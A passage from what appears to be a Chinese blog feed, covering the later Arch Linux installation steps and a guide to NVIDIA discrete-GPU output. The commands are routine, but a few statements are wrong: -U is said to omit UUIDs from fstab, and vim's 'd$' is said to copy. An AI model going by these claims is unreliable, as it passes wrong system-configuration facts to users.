</ul><p>并且<code>pacstrap</code>脚本除了安装内核基本包，也可以安装软件，这样就不用在<code>chroot</code>环境下手动安装软件了，例如：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacstrap</span><span> </span><span>/mnt</span><span> </span><span>nano</span><span> </span><span>vim</span><span> </span><span>sudo</span><span> </span><span>grub</span><span> </span><span>efibootmgr</span><span> </span><span>networkmanager</span><span> </span><span>intel-ucode</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>安装基本系统根据个人喜好而定，这是我个人的安装命令：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacstrap</span><span> </span><span>/mnt</span><span> </span><span>base</span><span> </span><span>base-devel</span><span> </span><span>linux</span><span> </span><span>linux-firmware</span><span> </span><span>linux-zen</span><span> </span><span>linux-headers</span><span> </span><span>linux-zen-headers</span><span> </span><span>nano</span><span> </span><span>vim</span><span> </span><span>sudo</span><span> </span><span>grub</span><span> </span><span>efibootmgr</span><span> </span><span>networkmanager</span><span> </span><span>intel-ucode</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>十三、 生成fstab文件<a href="#十三-生成fstab文件"><span>#</span></a></h3><p>Fstab文件是Linux系统中重要的配置文件，它描述了文件系统的挂载信息，以及在系统启动时需要挂载的文件系统。</p><p>很久以前，Fstab文件需要我们手动编辑，它的格式也比较麻烦，好在Arch Linux提供了<code>genfstab</code>脚本，便于我们生成Fstab文件。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>genfstab</span><span> </span><span>-U</span><span> </span><span>/mnt</span><span> </span><span>&gt;&gt;</span><span> </span><span>/mnt/etc/fstab</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>-U</code>选项表示生成的Fstab文件中不包含UUID信息，因为UUID信息可能与硬盘有关，如果硬盘更换，UUID也会发生变化，这会导致Fstab文件失效。</p><p>记得检查<code>Fstab</code>文件是否正确，确保它包含了所有需要挂载的分区，并且挂载信息正确。</p><p></p><figure><img alt="Fstab 文件示例" loading="lazy" width="1281" height="202" src="/_astro/fstab.D53JadWx_ZI1yXf.webp" /><figcaption>Fstab 文件示例</figcaption></figure><p></p><blockquote><p>更多相关信息，请参阅：</p></blockquote><ul>
<li>Fstab：<a href="https://wiki.archlinuxcn.org/wiki/Fstab" target="_blank">https://wiki.archlinuxcn.org/wiki/Fstab</a></li>
<li>Genfstab：<a href="https://wiki.archlinuxcn.org/wiki/Genfstab" target="_blank">https://wiki.archlinuxcn.org/wiki/Genfstab</a></li>
</ul></section><section><h3>十四、 切换到新系统<a href="#十四-切换到新系统"><span>#</span></a></h3><p>原本的<code>chroot</code>命令在此之前需要挂载很多必要的文件系统，至少需要五六条命令才能正常使用chroot环境，非常繁琐不信给你康康：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mount</span><span> </span><span>-t</span><span> </span><span>proc</span><span> </span><span>/proc</span><span> </span><span>/mnt/proc</span></div></div><div><div><div>2</div></div><div><span>mount</span><span> </span><span>-t</span><span> </span><span>sysfs</span><span> </span><span>/sys</span><span> </span><span>/mnt/sys</span></div></div><div><div><div>3</div></div><div><span>mount</span><span> </span><span>--rbind</span><span> </span><span>/dev</span><span> </span><span>/mnt/dev</span></div></div><div><div><div>4</div></div><div><span># 可选  mount --rbind /run /mnt/run</span></div></div><div><div><div>5</div></div><div><span># 如果正运行在 UEFI 系统，则还需要能够访问 EFI 变量</span></div></div><div><div><div>6</div></div><div><span>mount</span><span> </span><span>--rbind</span><span> </span><span>/sys/firmware/efi/efivars</span><span> </span><span>sys/firmware/efi/efivars/</span></div></div><div><div><div>7</div></div><div><span># 如果已经建立了一个网络连接并且想在 chroot 环境中继续使用，将 DNS 服务器配置复制到新环境：</span></div></div><div><div><div>8</div></div><div><span>cp</span><span> </span><span>-L</span><span> </span><span>/etc/resolv.conf</span><span> </span><span>etc/resolv.conf</span></div></div><div><div><div>9</div></div><div><span># 最后，切换到新系统并启用指定Shell：</span></div></div><div><div><div>10</div></div><div><span>chroot</span><span> </span><span>/mnt/arch</span><span> </span><span>/usr/bin/bash</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>好在Arch Linux提供了<code>arch-chroot</code>脚本，简化了以上的命令，让我们更灵活地切换到新环境中：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>arch-chroot</span><span> </span><span>/mnt</span><span> </span><span>/bin/bash</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>敬请参阅：<a href="https://wiki.archlinuxcn.org/wiki/Chroot" target="_blank">https://wiki.archlinuxcn.org/wiki/Chroot</a></p></blockquote></section><section><h3>十五、 新系统的基本配置<a href="#十五-新系统的基本配置"><span>#</span></a></h3><section><h4>1. 设置时区<a href="#1-设置时区"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>timedatectl</span><span> </span><span>set-ntp</span><span> </span><span>true</span><span> </span><span># 启用网络时间同步</span></div></div><div><div><div>2</div></div><div><span>ln</span><span> </span><span>-sf</span><span> </span><span>/usr/share/zoneinfo/Asia/Shanghai</span><span> </span><span>/etc/localtime</span><span> </span><span># 设置时区为上海</span></div></div><div><div><div>3</div></div><div><span>hwclock</span><span> </span><span>--systohc</span><span> </span><span># 将系统时间写入硬件时钟</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>2. 设置主机名(以<code>lingxi9374-ArchPC</code>为例)<a href="#2-设置主机名以lingxi9374-archpc为例"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>echo</span><span> </span><span>'</span><span>lingxi9374-ArchPC</span><span>'</span><span> </span><span>&gt;</span><span> </span><span>/etc/hostname</span><span> </span><span># 设置主机名为lingxi9374-ArchPC</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>3. 设置locale<a href="#3-设置locale"><span>#</span></a></h4><p><code>Locale</code>决定了软件使用的语言、书写习惯和字符集。</p><p>如果你没有安装编辑器，输入下面命令安装：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacman</span><span> </span><span>-S</span><span> </span><span>vim</span><span> </span><span>nano</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>Note</div></div><div><p><code>vim</code>基本使用操作：</p><ul>
<li>
<ol>
<li><code>"/"</code>键进入搜索模式，输入要搜索的单词，回车，可以搜索到相关内容。</li>
<li>按<code>"i"</code>键进入编辑，<code>Esc</code>键退出编辑，</li>
<li><code>"x"</code>键去除文字，</li>
<li>输入<code>":wq"</code>保存并退出，后面加<code>"!"</code>表示强制执行。</li>
<li>键入<code>"yy"</code>复制行</li>
<li>键入<code>"dd"</code>剪切行，<code>"2dd"</code>为剪切两行</li>
<li>键入<code>"p"</code>黏贴行</li>
<li>键入<code>"d$"</code>复制光标后面半行</li>
</ol>
</li>
<li>目前我还不怎么熟悉使用vim，有些是从网上找来的以及某群群u说的（</li>
<li>如果以后学会了我也会写一篇博文谈谈vim的使用技巧（画大饼.jpg）</li>
</ul></div></div><p>使用<code>vim</code>编辑<code>/etc/locale.gen</code>文件，将<code>"en_US.UTF-8"</code>和<code>"zh_CN.UTF-8"</code>前面的<code>"#"</code>号去掉，保存修改并退出，确保看起来如下：</p><div><figure><figcaption><span>/etc/locale.gen</span></figcaption><pre><code><div><div><div>1</div></div><div><span>...</span></div></div><div><div><div>2</div></div><div><span>en_US.UTF-8 UTF-8</span></div></div><div><div><div>3</div></div><div><span>...</span></div></div><div><div><div>4</div></div><div><span>zh_CN.UTF-8 UTF-8</span></div></div><div><div><div>5</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后执行以下命令生成<code>locale</code>，并设置<code>LANG</code>环境变量：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>locale-gen</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>LANG=en_US.UTF-8</span><span> </span><span>&gt;</span><span> </span><span>/etc/locale.conf</span></div></div><div><div><div>3</div></div><div><span># 不推荐LANG设置中文，因为在tty环境中会导致乱码</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>4. 创建用户<a href="#4-创建用户"><span>#</span></a></h4><p>执行以下命令创建用户(以<code>"lingxi"</code>为例)：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>useradd</span><span> </span><span>-m</span><span> </span><span>-g</span><span> </span><span>users</span><span> </span><span>-G</span><span> </span><span>wheel</span><span> </span><span>lingxi</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在此命令中，<code>-m</code>选项表示创建用户时同时创建用户主目录，<code>-g</code>选项指定用户主目录所属的组为<code>users</code>，<code>-G</code>选项指定用户所属的附加组为<code>wheel</code>。</p></section><section><h4>5. 设置用户密码和root密码<a href="#5-设置用户密码和root密码"><span>#</span></a></h4><p>执行以下命令设置用户密码和root密码(以<code>"lingxi"</code>为例)：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>passwd</span><span> </span><span>lingxi</span></div></div><div><div><div>2</div></div><div><span>passwd</span><span> </span><span>root</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>请注意：设置密码时输入字符不会显示输入的个数，也就是星号出来，请不要慌张，这是Linux特有的安全机制，这个安全机制可以防止你附近的人猜测密码长度。</p></section><section><h4>6. 给予用户sudo权限<a href="#6-给予用户sudo权限"><span>#</span></a></h4><p>执行以下命令给予用户<code>sudo</code>权限：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>EDITOR</span><span>=</span><span>vim</span><span> </span><span>visudo</span></div></div><div><div><div>2</div></div><div><span>#或者</span></div></div><div><div><div>3</div></div><div><span>vim</span><span> </span><span>/etc/sudoers</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>找到<code># %wheel ALL=(ALL:ALL) ALL</code>这一行，将注释去掉，保存并退出。</p><p>再次确认一下文件修改对不对：</p><div><figure><figcaption><span>/etc/sudoers</span></figcaption><pre><code><div><div><div>1</div></div><div><span>...</span></div></div><div><div><div>2</div></div><div><span>%wheel</span><span> </span><span>ALL=</span><span>(</span><span>ALL:ALL</span><span>)</span><span> </span><span>ALL</span></div></div><div><div><div>3</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>7. 配置hosts文件<a href="#7-配置hosts文件"><span>#</span></a></h4><p>编辑<code>/etc/hosts</code>文件，添加以下内容：</p><div><figure><figcaption><span>/etc/hosts</span></figcaption><pre><code><div><div><div>1</div></div><div><span>127.0.0.1   localhost</span></div></div><div><div><div>2</div></div><div><span>::1         localhost</span></div></div><div><div><div>3</div></div><div><span>127.0.1.1   lingxi9374-ArchPC.localdomain lingxi9374-ArchPC</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>请注意：</p></blockquote><ul>
<li><code>127.0.0.1</code>和<code>::1</code>是本地回环地址，<code>localhost</code>是主机名，<code>lingxi9374-ArchPC.localdomain</code>是主机名的备用域名，<code>lingxi9374-ArchPC</code>是主机名。</li>
<li>请不要修改<code>127.0.1.1</code>这一行，否则可能会导致网络无法正常连接。</li>
</ul></section><section><h4>8. 启用网络服务<a href="#8-启用网络服务"><span>#</span></a></h4><p>执行以下命令启用<code>Network Manager</code>网络服务：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacman</span><span> </span><span>-S</span><span> </span><span>networkmanager</span></div></div><div><div><div>2</div></div><div><span>systemctl</span><span> </span><span>enable</span><span> </span><span>NetworkManager.service</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>9. 安装微码<a href="#9-安装微码"><span>#</span></a></h4><p>查看您的CPU型号：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cat</span><span> </span><span>/proc/cpuinfo</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>"</span><span>model name</span><span>"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>通过以下命令安装对应芯片制造商的微码：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacman</span><span> </span><span>-S</span><span> </span><span>intel-ucode</span><span> </span><span># Intel CPU</span></div></div><div><div><div>2</div></div><div><span>pacman</span><span> </span><span>-S</span><span> </span><span>amd-ucode</span><span> </span><span># AMD CPU</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>10. 安装引导程序<a href="#10-安装引导程序"><span>#</span></a></h4><p><code>GRUB</code>（GRand Unified Bootloader，大一统启动加载器）是一个用于加载和管理系统启动的完整程序。它是 Linux 发行版中最常见的引导程序(bootloader)。引导程序是计算机启动时运行的第一个软件。它加载 操作系统的内核，然后再由内核初始化操作系统的其他部分（包括 Shell、显示管理器、桌面环境 等等）。</p><p>通过以下命令安装<code>GRUB</code>：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pacman</span><span> </span><span>-S</span><span> </span><span>grub</span><span> </span><span>efibootmgr</span><span> </span><span>os-prober</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>说明：</p><ul>
<li><code>efibootmgr</code>——<code>efibootmgr</code>被<code>grub</code>脚本用来将启动项写入<code>NVRAM</code></li>
<li><code>os-prober</code>——为了能够引导Win10，需要安装<code>os-prober</code>以检测到它，虚拟机不用安装</li>
</ul><p>安装<code>GRUB</code>到EFI分区：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>grub-install</span><span> </span><span>--target=x86_64-efi</span><span> </span><span>--efi-directory=/efi</span><span> </span><span>--bootloader-id=GRUB</span><span> </span><span>--removable</span></div></div><div><div><div>2</div></div><div><span># 说明：</span></div></div><div><div><div>3</div></div><div><span># --target 指定目标平台为x86_64-efi</span></div></div><div><div><div>4</div></div><div><span># --efi-directory 指定EFI分区的路径</span></div></div><div><div><div>5</div></div><div><span># --bootloader-id 指定引导程序的ID</span></div></div><div><div><div>6</div></div><div><span># --removable 选项表示安装到可移动设备上，可不选</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>若输出为：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Installing for x86_64-efi platform.</span></div></div><div><div><div>2</div></div><div><span>Installation finished. No error reported.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>则表示安装成功。</p></section><section><h4>11. 配置GRUB<a href="#11-配置grub"><span>#</span></a></h4><p>编辑<code>/etc/default/grub</code>文件，将<code>"GRUB_TIMEOUT=5"</code>修改为<code>"GRUB_TIMEOUT=30"</code>；</p><p>将<code>"GRUB_CMDLINE_LINUX_DEFAULT="</code>后面的参数修改为<code>"loglevel=5 nowatchdog"</code>。
当然你也可以修改为”loglevel=7”使用最高日志等级来装逼，这将会输出全部内核日志</p><p>最终修改如下：</p><div><figure><figcaption><span>/etc/default/grub</span></figcaption><pre><code><div><div><div>1</div></div><div><span>GRUB_TIMEOUT</span><span>=</span><span>30</span></div></div><div><div><div>2</div></div><div><span>GRUB_CMDLINE_LINUX_DEFAULT</span><span>=</span><span>"</span><span>loglevel=5 nowatchdog</span><span>"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>保存并退出。</p><p>生成<code>grub</code>配置文件：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>grub-mkconfig</span><span> </span><span>-o</span><span> </span><span>/boot/grub/grub.cfg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果使用物理机双系统，生成配置文件时检测不到NTFS分区，请试着使用搜索引擎得到解决方案，或者问问群u。</p></section></section><section><h3>十六、 重启系统<a href="#十六-重启系统"><span>#</span></a></h3><p>退出<code>chroot</code>环境：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>exit</span><span> </span><span># 或者键入Ctrl+D</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>关闭<code>swap</code>:</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>swapoff</span><span> </span><span>/dev/sda3</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>取消挂载分区：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>umount</span><span> </span><span>-R</span><span> </span><span>/mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>重启系统：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>reboot</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>重启之后，电脑应该会首先进入GRUB引导界面，选择你刚才安装的系统，然后进入系统。</p><p>至此，我们成功完成了Arch Linux的安装，接下来就开启您的Arch Linux之旅吧！。</p></section></section>
<section><h2>后续工作<a href="#后续工作"><span>#</span></a></h2><p>敬请参阅<a href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/archconfiguration/">此篇博文</a></p><p>（The End）</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/arch-nvidia/</id>
      <title type="text">Arch Linux 启用独显直连(NVIDIA)(更新于2026.03.27)</title>
      <published>2025-01-01T00:00:00.000Z</published>
      <updated>2025-01-01T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/arch-nvidia/"/>
      <summary type="text">如何在Arch Linux上启用NVIDIA独显直连，让应用程序直接使用独显渲染</summary>
      <content type="html"><![CDATA[<section><h2>前言<a href="#前言"><span>#</span></a></h2><div><div><div></div><div>Important</div></div><div><p>这篇博客很多文字是照搬那个参考链接的，感觉即使我自己手打文稿也觉得和原文讲的差不多，就懒得想了直接Ctrl+C Ctrl+V了。</p></div></div><p>本博客参考网页：<a href="https://blog.caiyi1.me/2024/03/06/Linux-nvidia/" target="_blank">点我1</a> <a href="https://blog.hifuu.ink/2024/11/06/arch-nvidia/" target="_blank">点我2</a></p><p>有一次周末，我在安装好的<code>Arch Linux</code>系统和<code>NVIDIA驱动</code>之后玩MC，发现帧数撑死只有100多，查看<code>nvidia-smi</code>发现能正常使用命令行，但是游戏画面还是卡的很严重，于是我开始排查问题。（如图，MC打开F3界面发现视频驱动使用的是Intel核显）</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pAzxyqA.2dpbfknvpw.png" alt="Minecraft Java F3 显示界面" /><figcaption>Minecraft Java F3 显示界面</figcaption></figure><p></p></section>
<section><h2>解决方法<a href="#解决方法"><span>#</span></a></h2><p>上篇文章我介绍了安装<code>NVIDIA驱动</code>，没看过的<a href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/archconfiguration/#1-%E5%AE%89%E8%A3%85%E6%98%BE%E5%8D%A1%E9%A9%B1%E5%8A%A8%E4%BB%A5nvidia%E4%B8%BA%E4%BE%8B">先点这里</a></p><section><h3>1. 配置 X11 下的 Nvidia 显卡优先<a href="#1-配置-x11-下的-nvidia-显卡优先"><span>#</span></a></h3><p>可以通过配置<code>/etc/X11/xorg.conf</code>实现 Nvidia 独显输出。幸运的是，Nvidia 提供了自动生成配置文件的工具，用户无需手动编写：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>nvidia-xconfig</span><span> </span><span>--prime</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>该命令会根据硬件情况自动生成配置文件。执行后<strong>重新登录会话</strong>即可生效（即使是 Wayland 用户也可以执行一次此命令）。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/1613f5602b203b38230f19699deb0219454454985.6m4ipeedrr.png" alt="X11 Nvidia 配置" /><figcaption>X11 Nvidia 配置</figcaption></figure><p></p></section><section><h3>2. 配置 Wayland 下的 Nvidia 显卡优先<a href="#2-配置-wayland-下的-nvidia-显卡优先"><span>#</span></a></h3><p>在 Wayland 下优先启用 Nvidia 显卡的步骤如下：</p><ol>
<li>编辑 <strong>GRUB配置</strong> 文件
打开<code>/etc/default/grub</code>文件，在<code>GRUB_CMDLINE_LINUX_DEFAULT=""</code>中添加<code>nvidia_drm.modeset=1</code>：
<div><figure><figcaption><span>/etc/default/grub</span></figcaption><pre><code><div><div><div>1</div></div><div><span>GRUB_CMDLINE_LINUX_DEFAULT</span><span>=</span><span>"</span><span>nvidia_drm.modeset=1</span><span>"</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>重新生成 grub 配置：
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>grub-mkconfig</span><span> </span><span>-o</span><span> </span><span>/boot/grub/grub.cfg</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>配置<code>Plasma 环境</code>文件：
在<code>~/.config/plasma-workspace/env/nvidia.sh</code>中写入以下内容：
<div><figure><figcaption><span>~/.config/plasma-workspace/env/nvidia.sh</span></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/bin/bash</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>export</span><span> __NV_PRIME_RENDER_OFFLOAD</span><span>=</span><span>1</span></div></div><div><div><div>4</div></div><div><span>export</span><span> __GLX_VENDOR_LIBRARY_NAME</span><span>=</span><span>nvidia</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>保存并重启电脑，即可生效。
<figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/b2054bbaf6197624d38cc2007d885fd1454454985.7zr1tfplzt.png" alt="Wayland Nvidia 配置" /><figcaption>Wayland Nvidia 配置</figcaption></figure></li>
</ol></section><section><h3>3. Intel + Nvidia 混合显卡方案<a href="#3-intel--nvidia-混合显卡方案"><span>#</span></a></h3><p>如果不希望全局启用独显，可以选择让大部分程序默认使用核显，而少数高性能需求的程序使用独显。这种方法能有效节省功耗，同时将独显资源集中分配给需要的程序（如 Steam 游戏、Blender 等）。缺点是每个程序需要手动配置启动项。</p><section><h4>配置步骤<a href="#配置步骤"><span>#</span></a></h4><ol>
<li>打开程序的<code>.desktop</code>启动文件：
位置可能在<code>/usr/share/applications</code>或<code>~/.local/share/applications</code>中。</li>
<li>在<code>Exec=</code>后添加<code>prime-run</code>参数。例如：
<div><figure><figcaption><span>XXX.desktop</span></figcaption><pre><code><div><div><div>1</div></div><div><span>Exec</span><span>=</span><span>prime-run</span><span> </span><span>&lt;程序启动命令&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/71a5357ef4bd808b10429bc2ea46cb6f454454985.8l0pfqklhe.png" alt="配置参数" /><figcaption>配置参数</figcaption></figure></li>
<li>Vim 快捷配置
如果使用 Vim，可以使用以下快捷键快速批量替换<code>Exec=</code>为<code>Exec=prime-run</code>：
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>v -&gt; G -&gt; :s</span><span>/Exec=/</span><span>Exec</span><span>=</span><span>prime-run /g Enter -&gt; :wq Enter</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
</ol></section></section><section><h3>4. 安装切换工具(不建议)<a href="#4-安装切换工具不建议"><span>#</span></a></h3><div><div><div></div><div>Caution</div></div><div><p>此方法已过时，请忽略</p></div></div><p>网上的大多数博客仅仅是在hybrid模式下仅使用独显允许所有进程，并非真正的独显直连。这种配置下独立显卡绘制完成后，会将framebuffer交由集成显卡然后输出至显示器，不仅延迟更高，性能也会受到总线带宽的限制。</p><p><a href="https://system76.com/" target="_blank">system76</a>的<a href="https://pop.system76.com/" target="_blank">Pop!_OS</a>是为数不多的自带独显驱动和管理器的发行版，并且<code>system76</code>编写了一个优秀的电源管理器<code>system76-power</code>用于控制电源配置和显卡模式。根据我的使用经验，我更倾向于使用<code>system76-power</code>而不是<code>optimus-manager</code>或其他管理器。并且<code>optimus-manager</code>只能在混合模式下使用独显，而不是真正的独显直连。</p><p>对于<code>Arch Linux</code>用户，<code>system76-power</code>已经包含在<code>aur</code>中，软件包名为<code>system76-power</code>。该工具由<code>Rust</code>编写，并依赖多个<code>crates</code>。</p><p>使用<code>yay</code>安装：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>yay</span><span> </span><span>-S</span><span> </span><span>system76-power</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>启用system76-power守护服务<a href="#启用system76-power守护服务"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>enable</span><span> </span><span>com.system76.PowerDaemon.service</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>start</span><span> </span><span>com.system76.PowerDaemon.service</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>切换到独显渲染<a href="#切换到独显渲染"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>system76-power</span><span> </span><span>graphics</span><span> </span><span>nvidia</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>此时仍然不是独显直连状态，仅仅是只使用nvidia显卡渲染。</p></section><section><h3>允许Nvidia-drm作为默认渲染源<a href="#允许nvidia-drm作为默认渲染源"><span>#</span></a></h3><div><div><div></div><div>Caution</div></div><div><p>目前独显直连通过<code>XRandR</code>的<code>--setprovideroutputsource</code>实现，这意味着<code>Wayland</code>目前无法使用独显直连。（未考证）</p></div></div><p>检查<code>/etc/X11/xorg.conf.d/10-nvidia-drm-outputclass.conf</code>和<code>/usr/share/X11/xorg.conf.d/10-nvidia-drm-outputclass.conf</code>，其中有一个文件已经存在了类似一下的内容，这意味着它是你要修改的配置文件。</p><p>（如果/etc/X11/xorg.conf.d/10-nvidia-drm-outputclass.conf的文件不存在就直接复制一模一样的过去），不影响也不冲突。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Section "OutputClass"</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>Identifier "nvidia"</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>MatchDriver "nvidia-drm"</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>Driver "nvidia"</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>Option "AllowEmptyInitialConfiguration"</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>ModulePath "/usr/lib/nvidia/xorg"</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>ModulePath "/usr/lib/xorg/modules"</span></div></div><div><div><div>8</div></div><div><span>EndSection</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在<code>Option "AllowEmptyInitialConfiguration"</code>后添加一行<code>Option "PrimaryGPU" "yes"</code>。</p></section><section><h3>配置显示源自动切换<a href="#配置显示源自动切换"><span>#</span></a></h3><p>如果此时重启，在进入DE时应该会导致黑屏。这是由于Xorg将集成显卡作为了输出源而不是独立显卡。我们需要在DE实际启动前将显示源切换成Nvidia显卡。</p><p>根据不同的DM，需要进行不同的配置。</p><section><h4>SDDM<a href="#sddm"><span>#</span></a></h4><p>在<code>/usr/share/sddm/scripts/Xsetup</code>中添加以下内容:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>xrandr --setprovideroutputsource modesetting NVIDIA-0</span></div></div><div><div><div>2</div></div><div><span>xrandr --auto</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>GNOME<a href="#gnome"><span>#</span></a></h4><p>在<code>/usr/share/gdm/greeter/autostart/optimus.desktop</code>和<code>/etc/xdg/autostart/optimus.desktop</code>中添加以下相同的内容:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[Desktop Entry]</span></div></div><div><div><div>2</div></div><div><span>Type=Application</span></div></div><div><div><div>3</div></div><div><span>Name=Optimus</span></div></div><div><div><div>4</div></div><div><span>Exec=sh -c "xrandr --setprovideroutputsource modesetting NVIDIA-0; xrandr --auto"</span></div></div><div><div><div>5</div></div><div><span>NoDisplay=true</span></div></div><div><div><div>6</div></div><div><span>X-GNOME-Autostart-Phase=DisplayServer</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>不使用DM<a href="#不使用dm"><span>#</span></a></h4><p>如果不使用DM，在<code>~/.xinitrc</code>中添加以下内容：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>xrandr --setprovideroutputsource modesetting NVIDIA-0</span></div></div><div><div><div>2</div></div><div><span>xrandr --auto</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>LightDM<a href="#lightdm"><span>#</span></a></h4><p>参考<a href="https://wiki.archlinux.org/title/NVIDIA_Optimus#LightDM" target="_blank">Arch Wiki</a></p></section></section><section><h3>重启<a 